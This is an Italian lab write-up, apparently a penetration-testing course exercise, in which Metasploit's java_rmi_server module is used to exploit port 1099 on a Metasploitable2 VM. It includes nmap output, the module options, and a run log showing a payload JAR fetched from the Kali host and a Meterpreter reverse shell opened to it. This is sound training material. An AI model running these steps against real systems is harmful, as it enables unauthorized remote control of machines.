

JAVA-RMI

Java-rmi (Remote Method Invocation) è una tecnologia che consente la comunicazione tra di loro di diversi processi Java, utilizzando la porta 1099. Nello specifico permette l'iniezione di codice malevolo al fine di ottenere accesso amministrativo sulla macchina target.

TRACCIA:

La nostra macchina Metasploitable presenta un servizio vulnerabile sulla porta 1099 – Java RMI. Si richiede allo studente di sfruttare la vulnerabilità con Metasploit al fine di ottenere una sessione di Meterpreter sulla macchina remota.

I requisiti dell'esercizio sono:-La macchina attaccante (KALI) deve avere il seguente indirizzo IP:

192.168.11.111-La macchina vittima (Metasploitable) deve avere il seguente indirizzo IP:

192.168.11.112-Scansione della macchina con nmap per evidenziare la vulnerabilità.-Una volta ottenuta una sessione remota Meterpreter, lo studente deve raccogliere le seguenti evidenze sulla macchina remota: 1) configurazione di rete ; 2) informazioni sulla tabella di routing della macchina vittima.

Legenda

sqlmap --help = le scritte in corsivo e color blue indicano un comando inserito da terminale di kali linux

<script>new Imagine()</script> = le scritte in corsivo color verde indicano uno script inserito sulla DVWA

----- = la linea tratteggiata sottolinea l'area dello screenshot alla quale si riferisce il testo

ifconfig = scritta in corsivo grigio indica un comando inserito da shell meterpreter

VM = Macchina Virtuale

IP Kali = 192.168.11.111

IP Metasploitable2 = 192.168.11.112

Spostiamoci sulla macchina virtuale di Kali e con il comando `sudo nano /etc/network/interfaces` andiamo a modificare l'IP con `192.168.11.111` e gateway `192.168.11.1` (come mostrato in figura).

Facciamo lo stesso sulla macchina virtuale di Metasploitable2, quindi con il comando `sudo nano /etc/network/interfaces` andiamo a modificare l'IP con `192.168.11.112` e gateway `192.168.11.1` (come mostrato in figura).

Controlliamo che la configurazione network sia corretta e che le macchine possono comunicare tra di loro; quindi ci spostiamo di nuovo sulla VM Kali e da terminale eseguiamo il comando `ping 192.168.11.112`.

```
auto lo
iface lo inet loopback

auto eth0
iface eth0 inet static
address 192.168.11.111/24
gateway 192.168.11.1
```

```
# This file describes the network
# and how to activate them. For m
```

```
# The loopback network interface
auto lo
iface lo inet loopback
```

```
# The primary network interface
auto eth0
iface eth0 inet static
address 192.168.11.112
netmask 255.255.255.0
network 192.168.11.0
broadcast 192.168.11.255
gateway 192.168.11.1
```

Quindi da Kali eseguiamo una scansione con Nmap sulla macchina target Metasploitable2 con il comando `nmap -sV 192.168.11.112`. Questo ci permette di fare uno scan di tutti i servizi aperti sull'IP target.

Verifichiamo dopo la scansione che il servizio interessato JAVA-RMI è aperto sulla porta 1099.

```
└─$ nmap -sV 192.168.11.112 -T5
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-19 08:28 GMT
Stats: 0:00:19 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 15.00% done; ETC: 08:29 (0:00:34 remaining)
Stats: 0:01:21 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 95.00% done; ETC: 08:30 (0:00:04 remaining)
Stats: 0:02:54 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 99.77% done; ETC: 08:31 (0:00:00 remaining)
Nmap scan report for 192.168.11.112
Host is up (0.0014s latency).
Not shown: 980 closed tcp ports (conn-refused)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smtpd
53/tcp    open  domain       ISC BIND 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind      2 (RPC #100000)
139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec         netkit-rsh rexecd
513/tcp   open  login?
514/tcp   open  shell        Netkit rshd
1099/tcp  open  java-rmi     GNU Classpath grmiregistry
2121/tcp  open  ftp          ProFTPD 1.3.1
3306/tcp  open  mysql        MySQL 5.0.51a-3ubuntu5
5432/tcp  open  postgresql   PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc          VNC (protocol 3.3)
6000/tcp  open  X11          (access denied)
6667/tcp  open  irc          UnrealIRCd
8009/tcp  open  ajp13        Apache Jserv (Protocol v1.3)
8180/tcp  open  unknown
```

Utilizziamo il tool Metasploit per eseguire un attacco JAVA-RMI sulla macchina target Metasploitable2.

Metasploit è un framework open-source usato per il penetration testing e lo sviluppo di exploit.

Siamo sulla VM attaccante Kali: come prima cosa apriamo il tool con il comando `msfconsole`, per visualizzare l'exploit che ci servirà utilizziamo il comando `search java_rmi` (questo ci permette di filtrare tutti gli exploit del tool contenenti questa dicitura nel path).

L'exploit che cerchiamo è il seguente:

`exploit/multi/misc/java_rmi_server`, per utilizzarlo eseguiamo il comando `use 1` (1 si riferisce all'exploit come mostrato in figura, in alternativa si può inserire il nome completo dell'exploit).

Non ci sono payload da caricare, solo 1 disponibile che verrà caricato di default, che come possiamo leggere in figura è una reverse shell di meterpreter.

Eseguiamo il comando `show options` per verificare i settings fondamentali per l'esecuzione corretta dell'exploit; possiamo notare che è richiesto solo IP del RHOSTS.

Quindi andiamo a selezionare l'IP della VM target con il comando `set rhosts 192.168.11.112`.

```
msf6 > search java_rmi
Matching Modules
=====
#  Name
0  auxiliary/gather/java_rmi_registry
1  exploit/multi/misc/java_rmi_server
2  auxiliary/scanner/misc/java_rmi_server
3  exploit/multi/browser/java_rmi_connection_impl

Disclosure Date  Rank  Check  Description
-----
2011-10-15      excellent Yes  Java RMI Se
2011-10-15      normal  No   Java RMI Se
2010-03-31      excellent No   Java RMICon
```

```
msf6 exploit(multi/misc/java_rmi_server) > show options
Module options (exploit/multi/misc/java_rmi_server):

Name      Current Setting  Required  Description
-----
HTTPDELAY  10              yes       Time that the HTTP Server will wait for the payload request
RHOSTS    yes             The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT     1099            yes       The target port (TCP)
SRVHOST   0.0.0.0         yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT   8080            no        The local port to listen on.
SSL       false           no        Negotiate SSL for incoming connections
SSLCert   no              Path to a custom SSL certificate (default is randomly generated)
URIPATH   no              The URI to use for this exploit (default is random)
```

```
Payload options (java/meterpreter/reverse_tcp):

Name      Current Setting  Required  Description
-----
LHOST     192.168.11.111  yes       The listen address (an interface may be specified)
LPORT     4444            yes       The listen port
```

Exploit target:

```
Id  Name
--  ---
0   Generic (Java Payload)
```

Ora possiamo eseguire l'exploit con il comando `exploit` (N.B. funziona correttamente anche il comando `run`).

Exploit sfrutta la vulnerabilità JAVA-RMI per creare una connessione alla macchina target ed una shell da remoto con privilegi amministrativi.

Meterpreter è una shell molto potente che gira su applicazioni e servizi vulnerabili di diverse tecnologie e sistemi operativi come Android, Java, Linux, Windows e molte altre. Permette inoltre movimenti laterali per avere un controllo su tutto il sistema di rete attaccato.

Il payload ci permette di aprire una shell con Meterpreter sulla macchina target.

Ora possiamo controllare con il comando `ifconfig` se siamo effettivamente sulla macchina target.

Con il comando `route` verifichiamo la tabella di routing di Metasploitable2.

```
msf6 exploit(multi/misc/java_rmi_server) > run

[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/g0VyuNFrpe1qZ
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header...
[*] 192.168.11.112:1099 - Sending RMI Call...
[*] 192.168.11.112:1099 - Replied to request for payload JAR
[*] Sending stage (57971 bytes) to 192.168.11.112
[*] Meterpreter session 1 opened (192.168.11.111:4444 → 192.168.11.112:35068) at 2024-01-19 11:15:03 +0000

meterpreter > |
```

TABELLA DI ROUTING

IPv4 network routes					
Subnet	Netmask	Gateway	Metric	Interface	
127.0.0.1	255.0.0.0	0.0.0.0			
192.168.11.112	255.255.255.0	0.0.0.0			

IPv6 network routes					
Subnet	Netmask	Gateway	Metric	Interface	
::1	::	::			
fe80::b444:54ff:fed7:c0fe	::	::			